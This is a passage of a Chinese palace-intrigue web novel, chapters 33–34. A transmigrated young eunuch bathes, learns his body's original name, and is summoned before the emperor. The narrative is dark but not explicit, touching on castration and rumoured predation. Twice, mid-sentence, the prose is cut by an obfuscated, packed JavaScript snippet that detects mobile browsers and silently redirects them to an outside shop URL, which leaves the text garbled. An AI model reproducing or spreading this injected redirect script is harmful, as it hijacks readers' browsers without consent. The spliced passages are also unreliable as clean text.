廊下夕阳的余晖带着暖意,洒在身上,却驱不散心底那层寒意。他低着头,沿着熟悉的路径,朝后院膳房走去。 越靠近膳房区域,饭菜的香气便越浓,混杂着油烟和人声。今日比往日更嘈杂些,隐约能听到一些兴奋的议论。 “……听说了吗?玉芙宫那位,可真是不得了!” “嘘!小声点!不过……太医署今早又去了两拨人,赏赐的车马都快把宫门堵了!” “啧啧,这才刚诊出喜脉几天?要是真生下个皇子……” “那咱们这后宫,怕是要变天喽!” 徐昭容有孕的消息,就像投入深潭的巨石,激起的涟漪已经扩散到了最底层。 关禧脚步未停,神色木然地走进膳棚。 棚屋内灯火通明,比往日更拥挤,许多人端着碗,三五成群地聚在一起,边吃边低声交谈,脸上带着或羡慕,或嫉妒,或事不关己的麻木。 他的出现,引来了一些目光。那些目光在他脸上停留片刻,又迅速移开。曹旺那伙人不在,或许是还在禁足,或许是被别的事绊住了。 关禧乐得清静,径直走到窗口。 掌勺的太监瞥了他一眼,眼神有些复杂,没说什么,照例舀了菜,递过馍馍。今日的菜色比前几日又好了一点点,杂烩菜里肉末多了些,能看到几片完整的肥肉。 关禧端着碗,环顾四周,想找个角落。目光扫过,见靠墙一张桌子旁,陈立德正独自一人坐着,慢条斯理地吃着饭。他面前除了例份的菜,竟还有一小碟额外的酱菜。 陈立德也看到了他,抬起眼皮,朝他这边望了一眼,没什么表示,只继续吃自己的。 关禧犹豫了一下,还是端着碗走了过去,在陈立德对面坐下,低声道:“陈公公。” 陈立德从鼻子里“嗯”了一声,夹起一片酱菜,放进嘴里慢慢嚼着,目光落在关禧没什么血色的脸上,“能下地了?看着还虚。” “谢公公关心,好多了。”关禧掰开馍馍,就着寡淡的菜汤吃着。饭菜入口,味道比闻着差远了,油腥味重,盐也放得狠,但他饿得狠了,也顾不得许多,大口吞咽着。 “好多了就成。”陈立德咽下嘴里的食物,喝了口汤,状似无意地说,“娘娘那边,万寿节后积了些琐碎账目,都是各宫支领赏赐、添置用度的零碎记录,需要核对清楚,归档备查。青黛姑娘说了,让你明儿个开始接手。” 关禧咀嚼的动作慢了一拍。让他核对各宫用度,尤其是玉芙宫风头正劲的时候……这差事,看似寻常,实则敏感。他想起冯昭仪在浴堂里说的“让该看见的人,看见该看见的东西”。 “是,小的明白。”他咽下食物,应道。 陈立德看了他一眼,想从他脸上看出些什么,但关禧此刻低眉顺眼,除了脸色差些,并无异样。 “嗯,用心做。”陈立德没再多说,只提醒了一句,“账目上的事,最要紧的是仔细,一笔一笔都对得上,谁也挑不出错。别的……少听,少问。” “小的谨记公公教诲。” 两人沉默地吃着饭。棚屋内嘈杂的议论声时高时低,大多围绕着玉芙宫的喜事,偶尔夹杂着对冯昭仪这边是否会失势的揣测。 关禧默默听着。这后宫的风向,变得比翻书还快。徐宛白凭借腹中骨肉,瞬间成了众人仰望巴结的对象,而承华宫这边,即便冯昭仪协理宫务,地位稳固,在子嗣这个巨大的筹码面前,也显得黯淡了些。底下这些太监宫女的议论,不过是这风向上最细微的尘埃。 他快速吃完碗里的食物,将最后一点馍馍塞进嘴里,又端起碗把菜汤喝尽。腹中的饥饿感被粗糙的食物填满,带来一种虚浮的饱胀感。 他向陈立德告退,起身将碗筷放到回收处,然后低着头,走出了膳棚。 夜色已经笼罩下来,宫灯次第亮起。 他沿着来路往回走,脚步因为身体的疼痛和虚弱而显得有些拖沓。 刚走到通往自己小屋的廊庑拐角,一个有些眼熟的小太监匆匆跑了过来,差点与他撞上。 那小太监稳住身形,借着廊下灯光看清是关禧,脸上立刻堆起讨好的笑容,压低声音道:“离子哥!可算找着你了!青黛姐姐让把这个给你。” 他说着,递过来一个用素帕包裹着的小包。 关禧心头一跳,接过。入手微沉,隔着帕子能感觉到温热。他打开一角,里面是两个还冒着热气的白面馒头,雪白松软,散发着纯粹的麦香,与他刚才在膳棚吃的黄面馍馍天壤之别。馒头下面,还垫着点什么。 “青黛姐姐说,你身子虚,膳房的伙食糙,让你垫补垫补。”小太监说完,也不敢多留,朝他躬了躬身,一溜烟跑了。 关禧站在原地,捏着那包还带着体温的馒头,看着那小太监消失在夜色中的背影,半晌没动。 垫补垫补…… 他慢慢走回自己的小屋,关上门,将油灯点亮。昏黄的光线下,他展开素帕。除了两个白面馒头,下面果然还垫着一个小纸包。打开,里面之前楚玉给他的那种安神茶饼。 她这是什么意思?打一棒子,给个甜枣?还是真的只是看他脸色太差,随手给的垫补? 关禧拿起一个馒头,触手温热柔软。他掰下一小块,放进嘴里。淡淡甜味的麦香在口腔里化开,远比膳棚那些粗砺的食物可口。他慢慢地,一口一口地吃着,胃里渐渐暖和起来。 吃完一个馒头,他拿起一块茶饼,凑到鼻端闻了闻,那股清苦的香气似乎能让人凝神静气。他没有泡,只是拿着,在油灯下静静看着。 楚玉的脸,楚玉的眼神,楚玉的话语,再次在脑海中浮现。那些冰冷,探究,警告,还有最后那句近乎承诺又更像陷阱的话…… 活下去。 他咀嚼着这三个字,将它们和白面馒头一起,咽进肚子里。 无论前路如何,无论楚玉存着什么心思,无论冯昭仪的谋划能否成功,无论徐昭容的肚子会不会改变这后宫格局…… 他得先活下去。 像一粒石缝里的草籽,哪怕被践踏,被忽视,也要抓住每一缕阳光,每一滴雨水,拼命地往下扎根,往上生长。 他将剩下的馒头和茶饼仔细包好,收进床头那个小木柜里,又在床边枯坐了片刻。 身下那处依旧一抽一抽地钝痛,黏腻的汗意和药味混合着,贴在皮肤上,像一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16954614|192226||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 层甩不脱的壳。他想起楚玉指尖擦过他脸颊的微凉触感,想起自己唇上属于另一个人气息的错觉,胃里又是一阵翻搅,说不清是恶心还是别的什么。 必须洗个澡。 他撑起身,从木柜里翻找出换洗的干净中衣,依旧是那套洗得发白的旧衣,又从墙角提起那个边缘磨损的木盆。时间还算早,估摸着未到宫门下钥的时辰,沐房那边或许还有热水。 夜色已浓,承华宫后院笼罩在一片寂静之中,只有远处廊下几盏气死风灯投下昏黄的光晕。 关禧端着木盆,低着头,沿着熟悉的路径,朝着下人居住区域最北边那片低矮的联排房屋走去。 越往北走,灯火越显稀疏,空气中的气息也渐渐变了。不再是前殿那边若有若无的檀香或草木清气,而是混合了潮湿,霉味,劣质皂角,以及许多人聚居后难以避免的体味与尘垢气息。这里是被精致宫阙遗忘的角落,属于最底层宫人的生存空间。 沐房就在这片区域的尽头,灰扑扑的一排,门口挂着辨不清颜色的厚布帘,用以阻挡视线和部分气味。此时布帘半掀着,里面透出浑浊的光线和哗啦的水声,隐约还有人语。热水房每日定时供应热水,水量有限,先到先得,去得晚了,便只能就着冷水对付。 关禧今日来得不算太迟,运气好的话,或许还能赶上点热水底子。 他掀开布帘,一股更浓郁复杂的气息扑面而来。屋内比外头暖和许多,却也闷热,水汽氤氲,几盏油灯挂在斑驳的墙上,光线昏暗摇曳,映出几个赤着上身或只着犊鼻裤的太监身影,正就着木盆或墙角引来的凉水匆匆擦洗。空气里飘散着廉价澡豆的涩味和湿漉漉的汗气。 关禧目光快速扫过,没看见曹旺那伙人,心下稍安。他正想寻个靠里些的角落,一个细弱的声音带着惊喜,从靠门边的位置响起: “离、离子哥?” 关禧循声望去。 是石头,正蹲在一个半旧木盆边,手里攥着块灰布巾,身上只穿着一件打满补丁的旧单衣,湿漉漉地贴在肩胛骨上,显然是刚擦洗完。他胖了些,面皮白白的,眼睛在昏暗光线下显得格外亮,此刻盛满了意外和一点小心翼翼的欢喜。 “石头?”关禧脚步顿了顿,朝他走过去,语气尽量放得平和,“这么巧。” “是、是啊!”石头连忙站起身,有些局促地在裤子上擦了擦湿手,“离子哥,你也来……你也这时候来洗澡啊?听说你在承华宫当差,我还以为……”他声音低下去,没好意思说以为关禧在那边有更好的条件,不会再来这大通铺般的沐房。 关禧在他旁边放下木盆,淡淡笑了笑:“哪里都一样。热水还有吗?” “还、还有点!我刚才看见钱公公拎了最后一桶进去,应该还没分完!”石头眼睛一亮,连忙指指沐房最里侧,那里有一扇小门,通向热水房,此刻门虚掩着,隐约透出热气和水缸碰撞的声响。 “我去看看。”关禧点点头,端起空盆朝里走。 石头看着他比在净舍时挺直了些的背影,还有身上那套虽然半旧但浆洗得干净整齐的靛青太监服,眼里闪过一丝不易察觉的羡慕。他犹豫了一下,端起自己那盆冷水,也跟了过去,小声道:“离子哥,我帮你看着东西。” 关禧没拒绝。 热水房很小,只容两三人转身,一个满面烟火色的老太监正将最后一点热水从一个巨大的铁锅里舀进木桶,见关禧进来,掀了掀眼皮:“没了,就这点底子,凑合着用吧。”说着,将那小半桶热气微薄的水倒进关禧的盆里。 “多谢公公。”关禧道了谢,又就着热水房角落一个专供兑凉水的木桶,加了半盆凉水,试了试温度,微温,刚好。 他端着兑好的水出来,石头亦步亦趋地跟着。 两人在靠墙一处稍微僻静些的空位停下。 这里离门口不远,通风稍好,灯光也更暗些。 33.第 33 章 关禧放下木盆,开始解外袍的系带,手指因为紧张和伤处的隐痛而有些僵硬,他深吸一口气,强迫自己动作利落些。 外袍脱下,露出里面同样洗得发白的棉布中衣。中衣的侧旁系带解开,单薄的布料滑落,少年清瘦却已开始显露男子骨架线条的身体暴露在昏黄朦胧的光线下。皮肤是久不见天日的苍白,肋骨形状隐约可见,胸前平坦,腰肢紧窄,在昏暗光线下,因那过分的瘦削和苍白,透出一种模糊了性别的易碎感。 他迅速弯腰,将脱下的中衣和外袍胡乱团在浴盆边,又飞快地解开裤带,褪下长裤。 当最后一点布料离开身体,他立刻扯过搭在浴盆边缘的布巾快速围在腰间,试图用这微薄的屏障隔断那些可能投来的视线,也遮挡住下身那让他痛恨又无力的残存。 做完这一切,他才松了口气。 石头在旁边磨蹭了一下,目光在关禧苍白瘦削的上身和腰间那简陋的布巾上飞快地扫过,又迅速移开,脸上泛起一点不自在的红晕,小声开口:“离子哥,你在承华宫,过得还好吗?” “还好,娘娘宽厚,差事也还顺当。”关禧语气平淡,听不出太多情绪,“你呢?还在王公公手下?活计重不重?” “我还好,就是些洒扫跑腿的活。”石头低下头,看着自己盆里清澈见底的冷水,“比在净舍时强些……至少,至少没人再欺负我了。”他顿了顿,像是想起什么,抬眼飞快地看了看关禧,“离子哥你……你身子好了?” “嗯,好多了。”关禧简单应道,不想多提伤势,他将布巾浸入温热的水中,拧了半干,开始擦拭脖颈和手臂,粗糙的湿布摩擦过皮肤,带来些许刺痛,也带走了黏腻。 “哦,那就好。”石头小声说,蹲在关禧的浴盆边,“离子哥,你穿这身旧衣,是特意来洗澡的?在承华宫……那边没有地方洗吗?” “有是有,规矩多,不如这里方便。”关禧含糊道,撩起水,泼在肩膀上,温热的水流顺着锁骨和胸前的凹陷滑下,留下一道道湿亮的水痕。他侧了侧身,用布巾擦拭后背,动作间,肩胛骨的形状清晰地凸起。 石头看着关禧沾湿后更显乌黑,贴在白皙颈侧的碎发,还有那随着动作若隐若现的线条肩臂,眼神有些发直,过了几秒才意识到自己的失态,慌忙低下头,盯着地面湿漉漉的水渍,耳朵尖更红了。 “离、离子哥……”他像是为了打破这沉默,也像是积攒了许久的话终于找到机会问,“你在承华宫……过得真的很好吧?我听说,冯昭仪娘娘人可好了,青黛姐姐也很厉害……你,你都比从前……好看多了。” 好看?关禧擦拭的动作微微一顿。他抬眼,透过氤氲的水汽看向石头。石头正偷偷抬眼看他,触及他的目光,又飞快地垂下,手指无意识地抠着地上的砖缝。 “不过是换了身整齐衣裳,吃了几顿饱饭。”关禧淡淡地说,这好看,是小离子的皮囊,是王公公挑选货物的标准,是楚玉审视探究的缘由,也是他一切麻烦和屈辱的根源之一。 “不、不一样的。”石头用力摇摇头,鼓起勇气,声音稍微大了点,“离子哥你以前在村里,就跟我们不一样。虽然离得远,我没跟你说过话,可村里人都知道,上河那边有个顶好看的男娃,叫……”他说着,脸上露出一点对美好事物的向往,“叫……景和。对,李景和。是这个名字吧?你爹娘好像是识点字的?给你起的名字也好听。景和,听着就亮堂,跟戏文里公子小姐的名字似的。不像我们,石头、铁柱、狗剩……” 景和。 李景和。 关禧擦拭后背的手僵在了半空,湿漉漉的布巾搭在肩头,温热水珠顺着脊椎的凹陷缓缓流下。 这是他第一次,真切地听到这具身体原本的名字。不是小离子,不是那个编号,透着阉人卑贱的称呼,而是一个完整的有着姓氏和寓意,属于一个农家少年的人生符号,李景和。 景和……景致祥和?还是其他什么寓意?他无从知晓。但这个名字,像一道来自另一个时空的光,短暂地照亮了这具苍白躯壳背后,那个早已消失在尘埃中名叫李景和的少年模糊的影子。他有父母,或许也曾被寄予过朴素的期望,有一个听起来亮堂的名字,然后,为了活下去,被送进这不见天日的地方,变成了小离子。 关禧感到一阵莫名的眩晕,胸口像是被什么东西堵住了,闷闷地发疼。 石头没察觉他的异样,还在自顾自地说着,像是打开了话匣子:“那时候我们下河的孩子,有时候跑远玩,到你们上河附近,偶尔能远远看见你。你总是一个人,不太跟别的孩子耍,有时候在河边发呆,有时候帮家里捡柴……但就是……就是长得特别扎眼,白净,眉眼跟画出来似的。村里的大娘婶子们私下都说,这娃生错了地方,这模样,该是城里大户人家的少爷……”他忽然意识到这话在宫里说有些不妥,连忙住口,忐忑地看着关禧。 关禧缓缓放下手臂,转过身,面对着石头。氤氲的水汽模糊了他的眉眼,也模糊了他此刻复杂难言的神情。腰间那块湿布巾堪堪遮住关键,却挡不住他清瘦身体上那几道尚未完全消退的淡红伤痕,和过分苍白的肤色形成的对比。水珠顺着他湿透的黑发发梢滴落,滑过锁骨,没入布巾边缘。 “景和……”他低声重复了一遍这个名字,像是在咀嚼一个陌生又带着重量的词汇。原来这具身体,曾经有过这样一个名字。李景和。不是关禧,也不是小离子。 石头被他这反应弄得有些不安,嗫嚅道:“离子哥……我是不是说错话了?我……” “没有。”关禧打断他,声音有些沙哑。他闭了闭眼,再睁开时,眸中那些翻涌的情绪被强行压下,只余一片深沉的疲惫和晦暗,“只是很久没人提这个名字了。都快忘了。” 他弯腰,从浴盆里掬起一捧温热的水,泼在脸上,用力搓了搓。水流冲走了他脸上可能泄露的情绪,也带来片刻的清明。 “谢谢你,石头。让我想起了点以前的事。” 石头懵懂地点点头,觉得离子哥好像有哪里不一样了,但又说不出来。他看着关禧沉默地继续擦洗身体,动作比刚才更慢,也更用力,仿佛要洗去什么看不见的东西。那苍白的皮肤在粗糙布巾的摩擦下泛起淡淡的红痕,湿透的黑发贴在颊边,侧脸在昏黄油灯光晕中,线条清晰得有些锋利,又莫名透着一股脆弱。 他不敢再多话,蹲在旁边,看着关禧洗完了上身,又就着布巾的遮掩,草草处理了下身和腿脚。 整个过程中,关禧都微微侧着身,尽量避免将身体完全暴露在石头的视线里,但石头还是不可避免地在一些动作间隙,看到了那被布巾半遮半掩,属于阉人残缺却又残存着些许特征的部位,以及旁边隐约可见尚未完全愈合的狰狞伤口。石头的脸更红了,这次是带着惊恐和同情的红,他迅速移开目光,心里酸酸涩涩的,为离子哥,也为自己未知的命运。 关禧很快洗完了。他用那块湿布巾胡乱擦了擦身体,也顾不上是否擦得干净,便伸手去够木架上的干净旧衣。 指尖触到干燥柔软的棉布,他停顿了一下,低声对还蹲在一旁的石头说:“时辰不早了,快回去吧。自己多保重。” 石头“哎”了一声,站起身,依依不舍地看了关禧一眼,又低低说了句“离子哥你也保重”,这才转身,身影很快消失在沐房门口朦胧的光晕和水汽里。 关禧独自站在原处,手里捏着那套干净的旧衣,却没有立刻穿上。 沐房内,其他几个洗澡的太监也陆续洗完了,低声交谈着离开。 油灯的光晕在氤氲未散的水汽中晃动,将他孤零零的影子投在湿漉漉的地面和斑驳的墙壁上,扭曲,拉长。 景和。李景和。 关禧在心里又默念了一遍这个名字。一个早已死去的农家少年的名字,一个她未曾谋面,却占据了他此刻身躯的陌生人的人生印记。 而,关禧,一个来自异世的孤魂,顶着这个陌生的名字,这具残缺的身体,在这吃人的深宫里,挣扎求生,前路茫茫。 他缓缓地,将那身干净的旧衣套上,系好衣带,整理好头发,戴好太监帽,又吹熄了沐房最后一盏油灯,按规定,最后一个离开的人需这么做。 然后推开门,迈入外面沉沉的夜色。 关禧独自走在返回承华宫西厢的青石小径上。 夜色浓稠如墨,将白日里精心修剪的花木与朱红廊柱都吞噬成模糊的暗影。方才沐房的水汽早已被夜风吹散,只余下布衣贴在身上微凉的黏腻感。周遭寂静得过分,连一贯扰人的夏虫似乎也噤了声,只有他刻意放轻的脚步声,以及腰间牙牌偶尔碰触衣摆的细微磕响,在这过分的安静里显得格外清晰。 他垂着头,思绪还沉浸在李景和这个名字带来的短暂恍惚里,以至于当他习惯性地拐过最后一道月亮门,抬头望见承华宫前殿方向时,整个人僵在了原地。 灯。 不是平日里廊下悬挂用以照路光线昏黄的气死风灯。也不是殿内常用柔和雅致的琉璃宫灯。 而是灼灼明亮,几乎将前殿及周围庭院照得如同白昼般的灯火。正殿,东西配殿,乃至连接的回廊,每一扇窗棂后都透出通明的光,檐下,廊柱间,不知何时悬起了无数崭新绘着金龙祥云的大红宫灯,烛火在灯罩内跳跃,将朱漆描金的梁柱映得一片辉煌灿烂,连殿前汉白玉的台阶和栏杆都反射着温润的光泽。 这排场,这灯火…… 关禧的心脏骤然缩紧,一股寒意从尾椎骨窜上头顶,而更让他浑身血液冻结的,是殿前庭院中,那黑压压肃立着的人影。 清一色的石青色曳撒,腰束鸾带,头戴三山帽,面白无须,个个垂手敛目,姿态恭谨,立在通明的灯火下,将通往正殿的道路拱卫得密不透风。他们的人数之多,几乎站满了前院所有空地,却无一丝杂音,连呼吸声都仿佛被这肃穆的灯火与夜色吞噬了。 这些人,他一个都不认识。绝不是承华宫的太监。 能在这深宫之中,于入夜后摆出这般骇人阵仗,让整个承华宫如同被无形之力从内部点亮,又用如此多陌生 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16968334|192226||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 高阶内侍无声包围的…… 除了那座宫阙真正的主人,当今天子,还能有谁? 皇帝来了。 在这个毫无征兆的深夜,驾临了承华宫。 关禧的呼吸停滞,四肢百骸像被浸入了冰水,连指尖都麻木僵硬。脑子里一片空白,只有一个念头在尖啸: 逃! 不能见他!绝不能! 穿越至今,他听过太多关于这位陛下的传闻,年轻,威严,心思难测,以及……那最令他恐惧,对某些半割内侍的特殊癖好。王公公的觊觎,净舍的侍寝名单,青黛那晚浴堂里意味深长的话语,还有他自己这张被反复提及,甚至被陛下“问过一句”的脸……所有碎片在此刻汇聚,拧成一条冰冷的锁链,扼住了他的喉咙。 他本能地向后退了一步,脚跟踩在湿滑的青苔上,发出细微的摩擦声。他慌忙稳住身形,心脏在胸腔里狂跳如擂鼓,撞得耳膜嗡嗡作响,目光惊恐地扫视四周,寻找着任何可以藏匿或逃离的路径。 回西厢的路被前殿的灯火和那些石青色的人影完全阻隔。退回去?后面是通往掖庭和其他宫苑的巷道,但此刻必然也有巡查的侍卫或皇帝带来的随从。左边是一片假山竹林,或许能暂时遮掩……对,假山! 关禧没有丝毫犹豫,弓着身子,利用廊柱和花木的阴影,朝着那片假山的方向,蹑手蹑脚地疾步挪去。他不敢跑,生怕脚步声引来注意,只能将身体压到最低,每一步都踩得极轻,又因极度的紧张和身体残留的疼痛而显得有些踉跄和僵硬。 夜风穿过竹林,发出沙沙的轻响,掩盖了他部分动作的声音。他额角冷汗涔涔,眼睛死死盯着那片越来越近的假山阴影。 就在他即将触碰到假山嶙峋边缘的冰冷石面,准备闪身躲入其后时。 “何人在此鬼祟?” 一个不高不低的嗓音,突兀地在他身后不远处响起。 那声音并不严厉,甚至可以说得上平缓,在这寂静得只剩下风声与心跳的夜里,清晰地传入关禧耳中。 关禧动作瞬间僵住,保持着向前倾身,半只脚已踏入阴影的姿势,再也不敢挪动分毫。 他极其缓慢地,一点一点地转过头。 只见距离他约莫几步开外的回廊转角处,竟悄无声息地立着一个人。 那人同样穿着石青色曳撒,但料子显然更加挺括精致,在灯火映照下泛着柔润的光泽。腰间鸾带上悬着的玉佩和牙牌形制也与众不同。他约莫四十许岁年纪,面皮白净,下颌光滑,眉眼细长,脸上没什么表情,只一双眼睛微微眯着,正静静地打量着僵在原地的关禧。 关禧认得这身打扮和气度,这是御前近侍,而且是品阶极高的那种,很可能是司礼监的随堂太监,甚至是……掌印太监身边得用的人。 皇帝贴身太监! 完了。 这两个字像烧红的烙铁,烫在关禧濒临崩溃的神经上,他张了张嘴,喉咙却干涩得发不出任何声音,只能徒劳地翕动了两下。 那高阶太监的目光,从关禧惊恐失色的脸,滑到他身上那套半旧不新,甚至因为匆忙而略显凌乱的靛青色太监服,再落到他腰间那块最普通属于承华宫低等内侍的牙牌上,最后,又回到他那张即使在惨白惊惶下也难掩精致昳丽的脸上。 太监的眼中,几不可察地掠过一丝极其细微的了然,随即又恢复成一潭深水。 “你是承华宫的奴才?”他开口,语气平缓,“这个时辰,不在该在的地方候着,在此处探头探脑,意欲何为?” 关禧扑通一声跪倒在地,额头重重磕在冰冷潮湿的青石板上,发出沉闷的响声,他伏低身体,声音抖得不成样子:“小、小的小离子,是承华宫书斋伺候笔墨的……刚、刚去沐房洗漱归来,不知、不知圣驾在此……惊、惊扰了公公,罪该万死!小的这就回、回屋去……”他语无伦次,只想尽快离开这令人窒息的地方。 “小离子……”那太监重复了一遍这个名字,若有所思,“既是承华宫的人,此刻便该在前头候着听宣,怎可私自躲回后头?规矩都学到哪里去了?” 关禧伏在地上,冷汗浸透了单薄的中衣,紧贴着颤抖的脊背。 听宣?去前头候着?不,他死也不要! “小的……小的身份卑贱,形貌粗陋,恐、恐污了圣目……且、且身上带伤,仪容不整,实在不敢近前……”他绞尽脑汁找着借口,声音越来越低。 那太监闻言,眉梢几不可察地动了一下,目光再次扫过关禧因为伏跪而更显单薄的背影,和那截露出苍白纤细的后颈。 “仪容不整?”他轻轻哼了一声,听不出喜怒,“既知仪容不整,更该谨言慎行,安分守己。起来吧。” 关禧如蒙大赦,又不敢真的放松,挣扎着想起身,却因为跪得太久加上极度紧张,腿脚发软,趔趄了一下才勉强站稳。 那太监不再看他,转身,朝着前殿灯火通明的方向,淡淡吩咐了一句:“跟着。” 说完,他便迈步向前走去,步伐不疾不徐。 34.第 34 章 关禧的腿像灌了铅,每一步都重若千钧,又仿佛踩在云端,虚浮得随时会坠落。他垂着头,机械地跟在那抹石青色曳撒的后面,视线死死锁住对方衣摆,不敢偏移分毫。 前方那片灼灼的灯火越来越近,越来越亮。空气里属于帝王的龙涎香气混杂着烛火燃烧的微焦气息,沉甸甸地压下来,让他每一次呼吸都变得艰难。 前殿庭院中肃立的石青色身影,随着他们的走近,无声地向两侧退开,让出一条通向正殿的通道。 无数道视线,或明或暗,落在关禧身上。 关禧能感觉到那些目光刮过他低垂的脸颊,单薄的肩颈,还有那身与这庄严场合格格不入的旧衣,他把自己缩得更紧,恨不得能缩进地缝里,或者就此消失。 引路的高阶太监在正殿门外丹墀下停住脚步,转过身看了关禧一眼,微不可察地点了下头,示意他就在此等候,随即自己拾级而上,走到那扇透出更为明亮温暖光线的雕花殿门前,与守在门边的另一名同样服饰的太监低声交谈了几句。 关禧被留在了丹墀之下,庭院的正中,被无数石青色的身影半包围着。 他不敢抬头看那扇紧闭的殿门,不敢想象门后是怎样一番光景。冯昭仪在里面吗?楚玉呢?皇帝……又是什么模样?年轻的?威严的?还是像传闻中那般,带着某种令人不寒而栗的阴郁? 时间在死寂中缓慢流淌,每一息都像是被拉长。 关禧能听见自己血液冲刷耳膜的轰鸣,能感觉到冷汗顺着脊背滑下,浸湿了内衫,黏腻,他甚至开始幻想,殿门打开后,会是怎样一道命令将自己拖走,或者…… “吱呀——” 轻微的响动,在寂静中异常清晰。 关禧浑身一颤,他死死咬住下唇,用疼痛强迫自己稳住,头垂得更低,视线紧紧锁住脚下青石板上自己的影子,那影子在煌煌灯火下缩成小小的一团,颤抖不休。 不是正殿大门,是旁边一扇供宫人通行的侧门被轻轻推开。 一道曼妙的身影,悄无声息地闪了出来,快步走下台阶。 是楚玉。 她换了一身更为庄重的靛青色宫装,发髻梳得一丝不苟,簪着简单的银饰,脸上薄施脂粉,眉眼间的神色是惯常的沉静。 她径直走到关禧面前,脚步略顿,目光快速扫过他惨白的脸,凌乱的鬓角,和微微发抖的身体,眉头几不可察地蹙了一下,随即恢复平静。 “陛下与娘娘叙话,问起近日宫中用度文书事。”她的声音不高,清晰平稳,恰好能让周围候着的几名高阶太监听见,“你既在此,正好。娘娘让你将去岁腊月至今年三月,玉芙宫、缀锦宫两处额外支领香料、绸缎的明细摘要,立刻取来呈上。要誊录清晰的那份备查底档。” 玉芙宫,缀锦宫,香料,绸缎,备查底档…… 电光火石间,关禧混沌的脑海被这道清晰的指令劈开一道缝隙。他明白了青黛的用意,这是在众目睽睽之下,给他一个离开此地,合情合理且紧急正当的理由,皇帝问起宫务,冯昭仪协理六宫,调取相关档案核查,天经地义。而他,作为书斋整理文书的太监,奉命去取,再自然不过。 “……是,小的遵命。”关禧的声音因为紧张和激动而有些变调,他慌忙躬身,语速极快,“那份底档……小的记得收在西侧书斋第三排靠右的紫檀木匣中,这就去取。”他迫不及待地转身,想要立刻逃离。 “慢着。”楚玉叫住他,“陛下面前,仪容岂可失礼?先去将衣裳整理齐整,洗净手脸,再去取档。务必仔细,不得有丝毫错漏污损。” “是!小的明白!”关禧连连应声,心脏狂跳着,既有逃过一劫的虚脱,又有对楚玉急智的感激,更有对接下来取档任务的惶恐,他不敢再看周围那些石青色的身影,低着头,匆匆朝着通往后院的方向快步走去,脚步因为急切而有些踉跄。 夜风穿过空旷的庭院,吹得他单薄的衣衫紧贴在身上,一阵阵发冷。 书斋内一片漆黑。 关禧没有点灯,跌跌撞撞地摸到书架前,指尖颤抖着找到那个紫檀木匣,抱出来,紧紧搂在怀里。 他不敢深想,皇帝深夜突然驾临承华宫,与冯昭仪叙话,为何会突然问起玉芙宫和缀锦宫的用度?是随意起意,还是别有深意?青黛让他去取的明细摘要,里面又记录了些什么?是真的仅仅为了应对皇帝的问询,还是……冯昭仪早有准备,要在合适的时机,让该看见的人,看见该看见的东西? 不过,无论里面装着什么,都改变不了一个事实,他要回去,回到那片灯火通明之下,回到那个人的视线可能笼罩的范围。 拖延无用。 他叹了口气,抱着木匣,转身,像赴刑场一样,一步一步挪回前殿。 当他再次踏入那片被灯火照得如同白昼的庭院,回到丹墀之下时,正殿那扇紧闭的雕花大门依旧紧闭着,门前肃立的高阶太监神情未变。 楚玉仍在原地等候,见他回来,目光平静地扫过他怀里的木匣,以及他极力镇定的神色,微微颔首。 没有催促,没有询问。 时间在寂静中一点一滴流逝,唯有殿内隐约传出极低的说话声,隔着厚重的门扉,模糊不清,却更添几分压抑。 不知过了多久,也许只是一炷香,也许有一个世纪那么长。 正殿的大门,终于向内打开了。 明亮温暖的光线如潮水般倾泻而出,瞬间淹没了门前肃立的人群。一股更加浓郁醇厚的龙涎香气,混合着的属于冯昭仪的清雅檀香,扑面而来。 关禧死死低着头,视线里只有自己的脚尖,和怀中木匣的边缘。 一个低沉平缓,听不出太多情绪,却带着天然威压的声音,从殿门内传来,清晰地传入庭院中每一个竖起的耳朵里: “冯卿方才提到,近日宫务文书皆由一书斋内侍整理,条理分明?便是外面候着的这个?” 是皇帝,萧衍。? 萧衍在问。问的是冯昭仪,指向的,却是殿外丹墀下,蝼蚁般的他。 冯媛柔和恭敬的声音响起:“回陛下,正是此子。名唤小离子,在臣妾宫中书斋当差,虽年纪尚轻,做事倒也细致。” “哦?”那低沉的声音似乎提起了些许兴趣,或者说,是某种确认,“既如此,叫他进来。朕倒要看看,何等细致之人。” 这句话,不是商量,不是询问,是旨意。 关禧眼前一黑,几乎要瘫软下去。怀里的木匣“哐当”一声掉落在青石地面上,在死寂的庭院中发出惊人的响声。他也顾不上了,脑子里只剩下轰鸣。 楚玉迅速弯腰,替他拾起了木匣,动作流畅自然,然后,她侧过身,用只有两人能听到的声音,对关禧说:“低头,进去。陛下问什么,答什么,多余的一个字也别说。” 说完,她轻轻推了他后背一下。 关禧被这一推,踉跄着向前迈了一步。他死死咬着牙,用尽全身力气,才勉强稳住身形,重新低下头,视线死死锁住地面,挪动着双腿,一步,一步,踏上那汉白玉的丹墀。 每一步,都像踩在刀尖上。 他终于跨过了那道高高的门槛。 殿内的光线明亮到刺眼,温暖到令人发晕。空气里漂浮着香料的气息。他不敢抬头,只用余光瞥见两侧垂手侍立的高阶太监,以及上首端坐的明黄身影的一角。 他走到一个自认为安全的距离,“扑通”一声跪倒在地,额头紧紧抵着光滑微凉的金砖地面,喉咙干涩得发不出完整的声音: “奴……奴才小离子,叩、叩见陛下,万岁,万万岁……” 声音抖得不成样子。 殿内静了一瞬。 